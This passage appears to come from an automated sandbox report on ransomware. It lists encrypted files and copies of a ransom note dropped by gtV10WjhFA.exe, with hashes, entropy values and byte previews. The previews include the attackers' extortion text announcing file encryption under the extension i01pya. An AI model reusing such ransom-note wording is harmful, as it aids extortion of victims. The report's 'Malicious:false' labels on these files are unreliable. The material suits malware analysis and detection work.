Lr..V;{....".........m..Y...b..........WJ.o..n.....?1..=p=b.@....[.h.p>[......@...h`..L...O.M..z..7t.....i.p...ca.[....}.9...=l.~.q.X.:/..f.2......?5...U..%=:....LH91s^a&...r..S.=8*7.-...F..E..C,!~G..`R.,\...|,.l....4ium,.P's!......>.hBY....|u8.....o...&{..-1..9...HM.....Z.l. ......'.B...)../..>.uQ.z..{......t.W<3.g@...T.->.Y^U.^..<.....\z.a:.
            C:\Users\user\Downloads\SUAVTZKNFL.png
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.835821863313788
            Encrypted:false
            SSDEEP:24:8SyG5HqtK6tHwb30a90wgqM4okVyl9ph4scmHxlfgmlvuJTniqOsDPVt4:8cHhsHwbkaSCXglzhPoIvuJTniPsDPVG
            MD5:F5C41B10C17FE5C55A008F7AE3440496
            SHA1:A3585ECD57A232ACBBC1E783ACE7623812374583
            SHA-256:9683787EF91A8CE5DFB814E4CB522B1656603998A1F01C75269484A75FCEC4E1
            SHA-512:7818F6660443576DA362D01FE85C9D782C2AE745DD229CCA76B6427C7D38BAA2659B4848E8EE65C8965CD14F2F0222628278888839DBA4E985A0F8454433174B
            Malicious:false
            Preview: =t.].6P.1.+.]....)....g.....*e....Ek..u.|<..#.>..E.4..\[_.D..F..+mY..)/.b..I<.x...K..J.].U.T..5.k`,.?....l..^.+...I..U.2g..w4...........o.....L-..E... .z.\#eTi.Z.....7r..ka...p...e.[..2..D.........a....z....p..i...1.UUQ...B...6`.......j6.MZ..W{..Z<\..8...{....U........N>..$.E..-..+I...X.I.F.h. .........R*8.....6...c..........V$\.t$o\..c..WX.@..\.......E-.A..... ....1....5.UX..T.(.... .e.....}....h......._.>...`J.Lv...n*E.. 1J...-_.Q.r..j...(..&1..nw.....#. 8.-s':...-Zd.E..G...V..9-.S.GU9..0Uj.W..C....6.8/...$?.....+..k)..T.Q.\4........Z.F..*....'.H9.d>U.[:......F.Q.].....G..H.4...z...5-.i@.SHB.d"cf. ../F.W....i.gP?.E6\h..v..L..4....h..xz.(.T..~.f..*./.3.....1.M.|.^...q......}..8O...~(...d..i...._...a.p.@....FCL.W.*.rC.h@G...<...M.i....XP.J.1...Wn....%."....:....l..|..Y.3`eL....%.(...E].U.@t[.W...$Z..k...xA..S.V..4.u.....n.......'...K.E..../.%..FP.{.l;.....kY.n.rW.2..0.....|.[./~.._....i.I.\..q..\..<...~Q.....5.,`..f...\..T.....K......q.
            C:\Users\user\Downloads\SUAVTZKNFL.xlsx
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):1258
            Entropy (8bit):7.839907697574491
            Encrypted:false
            SSDEEP:24:7pMfGJTTBH3Ou4vYnOkNUqHBAa1ncZcha196rwDJQiIzlvuJTniqOsDPVtmKM:MGRtH+uvUqHBAa1ncmhU6rwDuiGvuJT8
            MD5:55E32DA3AB51F14C303C45AF12AA9482
            SHA1:A45F6F3EF5C5DFF38D70B1501784964768AB5508
            SHA-256:34EDADDABC9AC49EC70925E30CE411DB6D69F51D54EF28FC13AE719EA1FAAEC7
            SHA-512:A0E3D4F6848DF9CD8D3B65544C86AFFBAAE48CF0BD55AD6F25E0830F98A83D9C868B281648C8554C40B309C9A529F7F6FCE1C29302482C65A3FC2EDB2AD2BAA4
            Malicious:false
            Preview: .......4G..?.LM... eV.P.G.+...e..Q.Z...[.G7......HYy1.2......a..)..!..!.{}`....e.0. P.....(9......;.w.,U..2..M.u.X<(..%..[...../.+#)..=....v.../.S>r^h..C.3.i$6.......d.>9&;.k0.8ii9."..@9^.z..k..g.....-..CP.h9... B.?...1.j.<kf.....E............l....#.\.YX/..3..M.C.C..H2.....+.Du...K5.w....._....BF5...i...mK....%.S..HA7...B.7b.^.J7vC.J....}J.%J.7*.....Qp%.>.d..../@W3)X.u....._Bh.@C...D.......M...h....^<..5u........h.........L....}.g.gHM.E.oL.@.a..Ow..C+8..Z...........!.....7....<.I.\..MguQ]hgP.......M-..u.[4..mL.sLX..a-16Iz...f..?.K...`+}c.##V......=.h...rjI.Vy.@....z....s.W....,P...3#.5.._...U.&.(cf...cf.l.eY....N..>0+=..e...C..^I.W.[...........g....'4...Hw.$2...u.B.e......5.b.CoP...!.<P..<....s...*..Z..V..Hi.)..2l.Vo....P..j.......a..y..7.:q#.......a....6.P.a...z........X>H...Z.....C......W.N-D.. \.....=q.@........~..>l.An.G~pd.X.(e.|.TEM[..|.n.jZ.i..5.._s..[.C5$...A...[1.U.2..H..O.....m..y...U....X..wJ.Vk....._#Rz..S.#.k.S.HGz..#..D+
            C:\Users\user\Downloads\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\user\Favorites\Amazon.url
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):343
            Entropy (8bit):7.226348822965015
            Encrypted:false
            SSDEEP:6:R/SABGnB7azZaLDCrp+oPZllcKPFmuUhaOIverTnYPZ8ilqI6lOsbGAPY4Vb0mcW:RKABk8mO1+CZllcGq7VrTniwFOsSAPVx
            MD5:F09B4A1C3F0FFE428A51D03013AFBBE6
            SHA1:227E98D1B5583D2948B8027984605E4009F00EA4
            SHA-256:70FDA0343AB681D1BDBFB7E8041F4D383B3C585FB80E1034D5D74CA544BA7B68
            SHA-512:17C77147B1C2ED0AA8236D74FCDE97D6365295D8F2951850FA55CE6176245FE223CD2DBE5AE728B696CAF2C127CB7D44979B557965B5859B81564A5E8CEE956B
            Malicious:false
            Preview: -I.v..g`....:i..v.I=3U.XTTE.,.g...n.83<.......R.Om:<,&A.an....,g.S....Hv.@..\....P...tZ..c..YpK(l./.....cH.......:{."..G...j%.....u..6.v .apV..F...C..q.y....M.....e_q..c.@....w.....-...O....,.jP..f9/.5.{....?..y.....G...............I.n....z.....ck.d..?..@.......`...8l.u<...V.....a.o.S{.M..%....3....f..fw!&..........:...
            C:\Users\user\Favorites\Bing.url
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):440
            Entropy (8bit):7.417080616988238
            Encrypted:false
            SSDEEP:12:nkn7/R5U2/mkuwR6L/8FsllcGq7VrTniwFOsSAPVtREtMN:nkjk8xU8qlvuJTniqOsDPVt6qN
            MD5:8A9FA74083EED5F2D964E03979280ECC
            SHA1:367BBF82EF721704045173E28B93FC8830F0AAF4
            SHA-256:67F75AFECF9549C62C887B604A322B2B23E8BBD395B469C34495A3F5B1DEA3A0
            SHA-512:294E5873E90C15D6C56629C330B7CB8A1E23F6AFA790367EAEC344AD4E220B1C04EF76E134F719F69673962788A21569F97794D6DF450E195383B95739235326
            Malicious:false
            Preview: b..H...6..Gy..s.s.<..R.*......U. ?W.#.E......5.....?M...o.`..E.W.V[S"H.{`?.V.n...x%q...O O..4.4..j.....I5.....].........k..).=....*.._. ;.m0n.....7...."t3.....s).3.....[...6...9s.-..[.pQ-....n.A..V.cH.......:{."..G...j%.....u..6.v .apV..F...C..q.y....M.....e_q..c.@....w.....-...O....,.jP..f9/.5.{....?..y.....G...............I.n....z.....ck.d..?..@.......`...;.V7./Y.jS'..yC.q.$...3O.O...}......Az...........^G.N
            C:\Users\user\Favorites\Facebook.url
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):345
            Entropy (8bit):7.256154343525396
            Encrypted:false
            SSDEEP:6:OPGbCCpndwEc/Nf/6GzsllcKPFmuUhaOIverTnYPZ8ilqI6lOsbGAPY4Vb0mkj/4:sGbTdwEc/MJllcGq7VrTniwFOsSAPVtJ
            MD5:DCF9E7F2F5A41E2C291B410AD88F0083
            SHA1:6DB4E438996611C00947A2BD20FEF2808F63263C
            SHA-256:9F30D7AC812741174DF0AEA0BBF9A28E2FCA9DA39BA0D8B1A55563081996FD4C
            SHA-512:0C30CF32BFF75EC9430CC6EA408E161926CBC171A18DD4EED77F7935B93B3A73DE2ED017A82D13D61C65E0EC94C7F66D82A4B2113A532BA52F222382002FE2D7
            Malicious:false
            Preview: .#`..^........_?1..+.1z~...\..4..V..aK....O...~.3.u.m.'O..!.=.v_.$..G.].T.......]Rq.g-.....5d.9`..P......cH.......:{."..G...j%.....u..6.v .apV..F...C..q.y....M.....e_q..c.@....w.....-...O....,.jP..f9/.5.{....?..y.....G...............I.n....z.....ck.d..?..@.......`....n"a.4t...>..5}....c......\Gu....I...1.M........jF.|
            C:\Users\user\Favorites\Google.url
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):343
            Entropy (8bit):7.318057357073814
            Encrypted:false
            SSDEEP:6:DHWWtZl6KR28W6+wsllcKPFmuUhaOIverTnYPZ8ilqI6lOsbGAPY4Vb0mE7CLoiR:DHWGNUv69sllcGq7VrTniwFOsSAPVtRH
            MD5:3301C473E3FF8571CF421EDD34732D06
            SHA1:A1A27A87659E419896E0CFC5D14B0C14111F9DF4
            SHA-256:C2C663A5F996C8C6BA5B91F30E2BAF0FD7BFFFB5C55A43106C9C197CACDF2CCD
            SHA-512:AD798C52D8DCC639037AADF005C994F8A4A440206C4F869BA5FABD5A0CB8ABAC17287F31E0AF1678BDA298E004634DFE744D2A4210B2602D5DF9334DA8BB4426
            Malicious:false
            Preview: ...P.Otz..a...i...F.......=..63..ir\....!.rq./.....=.p...1.:n.....E^.......Rm.[.........A.@..f.B...U.C...`..cH.......:{."..G...j%.....u..6.v .apV..F...C..q.y....M.....e_q..c.@....w.....-...O....,.jP..f9/.5.{....?..y.....G...............I.n....z.....ck.d..?..@.......`....8.'.w@Rg......."....R.v..J...Xs.xk..E.L.v.........lb..
            C:\Users\user\Favorites\Links\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\user\Favorites\Live.url
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):341
            Entropy (8bit):7.313069385517722
            Encrypted:false
            SSDEEP:6:7nOnSHlcHEL90BZllcKPFmuUhaOIverTnYPZ8ilqI6lOsbGAPY4Vb0mXFJZYVzI5:7nSSHlT0BZllcGq7VrTniwFOsSAPVtRD
            MD5:CCEACB358553D85548A9D6451A91165E
            SHA1:B205070C96F76F664DDC6A1888FFEC030CB16602
            SHA-256:4B831A5F897A72339772E62B02F34E5584FA1892538F7DE6C04E3642102A9A95
            SHA-512:9C23F63FA645F15D9C28A68145B68AD8F1A2B81CF6062C8AFBA9B0C02E32207C372BE7EE12E27EB8BC0EC2360E1B94715574E5AF9F6C702C24A75514120A203C
            Malicious:false
            Preview: Zf.......(O.\/.n...8...~.e.r9%.>Zd.+..w.2..x...............p.5..7I..K.k..=....#..w.-\.LQ`....*:b...D....cH.......:{."..G...j%.....u..6.v .apV..F...C..q.y....M.....e_q..c.@....w.....-...O....,.jP..f9/.5.{....?..y.....G...............I.n....z.....ck.d..?..@.......`...m(./........}K.Y.1.f.(.Vxm@....i........m+mE........E.0.
            C:\Users\user\Favorites\NYTimes.url
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):344
            Entropy (8bit):7.334609829431082
            Encrypted:false
            SSDEEP:6:0qqBOC4aH8zXwKMwu4JttzI23IsllcKPFmuUhaOIverTnYPZ8ilqI6lOsbGAPY4h:OODaczXwauEPI24sllcGq7VrTniwFOs3
            MD5:CE6554CCBFE2038480F6844A8936A9B1
            SHA1:91960F34366AF37C9D464D23545439775382FDAD
            SHA-256:2B4A03690D4A085C511FB46EA7212A3C17FD16FF043A623EB6EA0092E062F5CC
            SHA-512:B0F476A061631944B3A832C58B62F21440DFADE32765ED8D0219060FAC3EF2C02931C5E0DE020BAC16C60140DC2FE3B9EAAE9461908F7FE39CC0C5F11B16DA6D
            Malicious:false
            Preview: .gg.......B.&...L.......J..x..q...<P3.).(w.ht...*:..&6...G..m.Q.zl.Q.....#zwV?.jt|....\M*.&..v..l=....&....s2.cH.......:{."..G...j%.....u..6.v .apV..F...C..q.y....M.....e_q..c.@....w.....-...O....,.jP..f9/.5.{....?..y.....G...............I.n....z.....ck.d..?..@.......`.....L&Fc.f.\..........v`~.J.s.2=B........]...........;.f
            C:\Users\user\Favorites\Reddit.url
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):343
            Entropy (8bit):7.329908469511919
            Encrypted:false
            SSDEEP:6:E2ENB4u0zzeDxcbwvm+KefhSZllcKPFmuUhaOIverTnYPZ8ilqI6lOsbGAPY4Vbl:E2ETj0ziDasvm+KeQZllcGq7VrTniwFV
            MD5:36C02D89E5A6098EFF60833F47D21DD3
            SHA1:E9E527EA53605460816D7A616031A261548D3671
            SHA-256:E8D76AB0D8CDC33FB32FDD114BB1BC21BFE339A235800B56849FE7B4F6268FD5
            SHA-512:DE404A904840984DA5B8D8DDEE80C25EC0AF8020BCC0DA2296783B72C6CA772E7CB0C0355A90F3A9A152129DDF578DFF7C65E20A8B9084C598772BDECD1178FD
            Malicious:false
            Preview: .t*..%.&4.2...w7..G~....a,........U,&cW.Co.X.&8..<c...r....(.i.`d.._>=...+$.=.).I0p......p....m......cH.......:{."..G...j%.....u..6.v .apV..F...C..q.y....M.....e_q..c.@....w.....-...O....,.jP..f9/.5.{....?..y.....G...............I.n....z.....ck.d..?..@.......`....#..P.)6,...9..=..]..Y+._[......s......\w/oZ............
            C:\Users\user\Favorites\Twitter.url
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):344
            Entropy (8bit):7.333442552434501
            Encrypted:false
            SSDEEP:6:k3OQv6mFjxnAdONm3G6B0wsllcKPFmuUhaOIverTnYPZ8ilqI6lOsbGAPY4Vb0mb:k3OQvxTnAdONm30hllcGq7VrTniwFOsF
            MD5:F2AE121D8A838A15283EA08BD8E3B1BB
            SHA1:0A079A4966C1B55C1BA5ECA7372E7D23A0EE2557
            SHA-256:28B75E8D22655ACCE292C49822FB7910BCD15AF2CB892EA5B0ED79C32B718DE9
            SHA-512:07A037B640DCFEF1008CC13C547763EBE038C1D493187F1ADC602CF7B526217BF7B16D603C7B201567FBF703AA46BD022D4DD977C7A8734B111D0CB4649E9505
            Malicious:false
            Preview: >I..'....+U.$.....m.x..).i.._.<.._[.&+.IMG..<0O..$Dx.u....8....9...,.|}i.Q.^...B>."...^U........#.^....Y.cH.......:{."..G...j%.....u..6.v .apV..F...C..q.y....M.....e_q..c.@....w.....-...O....,.jP..f9/.5.{....?..y.....G...............I.n....z.....ck.d..?..@.......`....P.E..o2...Sx....KW#P...'.H..3 ..Y*..ug.3e........K...
            C:\Users\user\Favorites\Wikipedia.url
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):346
            Entropy (8bit):7.298602502646793
            Encrypted:false
            SSDEEP:6:c9TgTevVnvrZO4Pz+AylPIsllcKPFmuUhaOIverTnYPZ8ilqI6lOsbGAPY4Vb0mX:c9ym9vc4b+XlwsllcGq7VrTniwFOsSAB
            MD5:350ABBD307F1B67C92A889E9FCCB5933
            SHA1:6433F03C43F4927D860F230C53E5B9A26E0410C9
            SHA-256:5960F2FBEF88A81EA321FA97F80536309748578EC2F4C6C033C728FA50E5A500
            SHA-512:824734AB70E098060F12038B8A68B517FD5F5259E6FA9E4B11F05B7988B3F44AFD4721054291F85F6BABFCB5879621D9FD03A1F9F050359DC9E900EB13317CAA
            Malicious:false
            Preview: \...a2.QP<le.@i..z.A..4.._0....v;Fb..D%xoB..w.8.b..=..[.YVVJ.GO..[....u. .s...w..k.4..C.......[.....z.V..cH.......:{."..G...j%.....u..6.v .apV..F...C..q.y....M.....e_q..c.@....w.....-...O....,.jP..f9/.5.{....?..y.....G...............I.n....z.....ck.d..?..@.......`.....L.(2_]j=.........di.'^...1......Q5..............j
            C:\Users\user\Favorites\Youtube.url
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):344
            Entropy (8bit):7.306642317118008
            Encrypted:false
            SSDEEP:6:m0gbv13dRZHNu8Tl7zsllcKPFmuUhaOIverTnYPZ8ilqI6lOsbGAPY4Vb0miD3N1:mZhTp7zsllcGq7VrTniwFOsSAPVtRi3b
            MD5:2B24853E730D973EB13746E992AAFDD9
            SHA1:BF9CFA8F8BA574F3168BDF79AB887FF03B2F0B5D
            SHA-256:E817D438F955A90D39CC6F09FF31C2841490D5AEEC259195D8E05ED3714F5615
            SHA-512:5F24E52ADAF12D626A63F75EBF53C5BC6C3273F6DD748D674BEA60B89DF6B3A578EF323BF50FBE298163E67F81B31D89FA78AB482E6A84D574EBDA0674EEA99B
            Malicious:false
            Preview: .=.g.v.eQ=+\0.E..@.j.a.N...g..^.Mz....CH"W..V.......G.VaTW...}.....5.........]....:tN..].!.'.Q.ClZ..7+P4..cH.......:{."..G...j%.....u..6.v .apV..F...C..q.y....M.....e_q..c.@....w.....-...O....,.jP..f9/.5.{....?..y.....G...............I.n....z.....ck.d..?..@.......`...e.f./.x4T.. ..G....k@Y.P^y~...C.."................{Tw.
            C:\Users\user\Favorites\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\user\Links\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.y. .
            C:\Users\user\Music\i01pya-readme.txt
            Process:C:\Users\user\Desktop\gtV10WjhFA.exe
            File Type:data
            Category:dropped
            Size (bytes):6916
            Entropy (8bit):3.8725847586779034
            Encrypted:false
            SSDEEP:96:odiNsQKBuxU3TPArFc3B4Yp7y7dm50MzMfHzvJlwetojhJU58dA75u:od9Bn3jArOxFly7yzMfTvrwemr5
            MD5:B17E715F046EB81F9E925D2B4DEEFD5D
            SHA1:C1AE8A0619AC761D381F47E05464F33DBBAB09A2
            SHA-256:CA0D776BE1DF84C3835EE23A5998FE9D1191B4629275B8988D9035102522BCB8
            SHA-512:E787F67CF22BD0068EE730B0FF7EFAC1CF880F849B949EDBE1DB2A8C73E79E457D1F8514C4AB0A87022BAD7F77C05E113E65A8EFDD3CF8CB8F4B264745BF0FA6
            Malicious:false
            Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .i.0.1.p.y.a.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. 